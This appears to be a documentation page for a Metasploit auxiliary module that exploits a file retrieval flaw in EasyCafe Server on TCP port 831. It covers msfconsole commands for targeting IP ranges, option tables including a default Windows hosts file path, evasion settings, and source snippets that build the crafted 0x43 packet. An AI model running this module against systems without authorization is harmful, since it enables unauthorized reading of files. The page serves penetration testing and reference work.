EasyCafe Server Remote File Access - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/misc/easycafe_server_fileaccess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: EasyCafe Server Remote File Access
Module: auxiliary/scanner/misc/easycafe_server_fileaccess
Source code: modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
Disclosure date: -
Last modification time: 2019-01-10 19:19:14 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 831
List of CVEs: -

This module exploits a file retrieval vulnerability in EasyCafe Server. The vulnerability can be triggered by sending a specially crafted packet (opcode 0x43) to the 831/TCP port. This module has been successfully tested on EasyCafe Server version 2.2.14 (Trial mode and Demo mode) on Windows XP SP3 and Windows 7 SP1. Note that the server will throw a popup messagebox if the specified file does not exist.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/misc/easycafe_server_fileaccess
msf auxiliary(easycafe_server_fileaccess) > show options
    ... show and set options ...
msf auxiliary(easycafe_server_fileaccess) > set RHOSTS ip-range
msf auxiliary(easycafe_server_fileaccess) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(easycafe_server_fileaccess) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(easycafe_server_fileaccess) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(easycafe_server_fileaccess) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the scanner/misc/easycafe_server_fileaccess auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/misc/easycafe_server_fileaccess

msf6 auxiliary(scanner/misc/easycafe_server_fileaccess) > show info

       Name: EasyCafe Server Remote File Access
     Module: auxiliary/scanner/misc/easycafe_server_fileaccess
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  R-73eN
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting                        Required  Description
  ----      ---------------                        --------  -----------
  FILEPATH  C:\WINDOWS\system32\drivers\etc\hosts  yes       The path of the file to download
  RHOSTS                                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     831                                    yes       The target port (TCP)
  THREADS   1                                      yes       The number of concurrent threads (max one per host)

Description:
  This module exploits a file retrieval vulnerability in EasyCafe 
  Server. The vulnerability can be triggered by sending a specially 
  crafted packet (opcode 0x43) to the 831/TCP port. This module has 
  been successfully tested on EasyCafe Server version 2.2.14 (Trial 
  mode and Demo mode) on Windows XP SP3 and Windows 7 SP1. Note that 
  the server will throw a popup messagebox if the specified file does 
  not exist.

References:
  https://www.exploit-db.com/exploits/39102

Module Options


This is a complete list of options available in the scanner/misc/easycafe_server_fileaccess auxiliary module:

msf6 auxiliary(scanner/misc/easycafe_server_fileaccess) > show options

Module options (auxiliary/scanner/misc/easycafe_server_fileaccess):

   Name      Current Setting                        Required  Description
   ----      ---------------                        --------  -----------
   FILEPATH  C:\WINDOWS\system32\drivers\etc\hosts  yes       The path of the file to download
   RHOSTS                                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     831                                    yes       The target port (TCP)
   THREADS   1                                      yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/misc/easycafe_server_fileaccess auxiliary module:

msf6 auxiliary(scanner/misc/easycafe_server_fileaccess) > show advanced

Module advanced options (auxiliary/scanner/misc/easycafe_server_fileaccess):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/misc/easycafe_server_fileaccess module can do:

msf6 auxiliary(scanner/misc/easycafe_server_fileaccess) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/misc/easycafe_server_fileaccess auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/misc/easycafe_server_fileaccess) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to retrieve file due to a timeout.


Here is a relevant code snippet related to the "Unable to retrieve file due to a timeout." error message:

42:	  end
43:	
44:	  def get_file
45:	    res = sock.get_once
46:	    unless res
47:	      print_error("Unable to retrieve file due to a timeout.")
48:	      return
49:	    end
50:	
51:	    unless res.length == 261
52:	      print_error("Received a response of an invalid size.")

Received a response of an invalid size.


Here is a relevant code snippet related to the "Received a response of an invalid size." error message:

47:	      print_error("Unable to retrieve file due to a timeout.")
48:	      return
49:	    end
50:	
51:	    unless res.length == 261
52:	      print_error("Received a response of an invalid size.")
53:	      return
54:	    end
55:	
56:	    file_size = res.unpack('@256V')[0]
57:	    contents = ''

File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.


Here is a relevant code snippet related to the "File path is longer than 67 characters. Try using MS-DOS 8.3 short file names." error message:

64:	  end
65:	
66:	  def run_host(ip)
67:	    file_path = datastore['FILEPATH']
68:	    if file_path.length > 67
69:	      print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.")
70:	      return
71:	    end
72:	
73:	    packet = "\x43"
74:	    packet << file_path

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • R-73eN
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.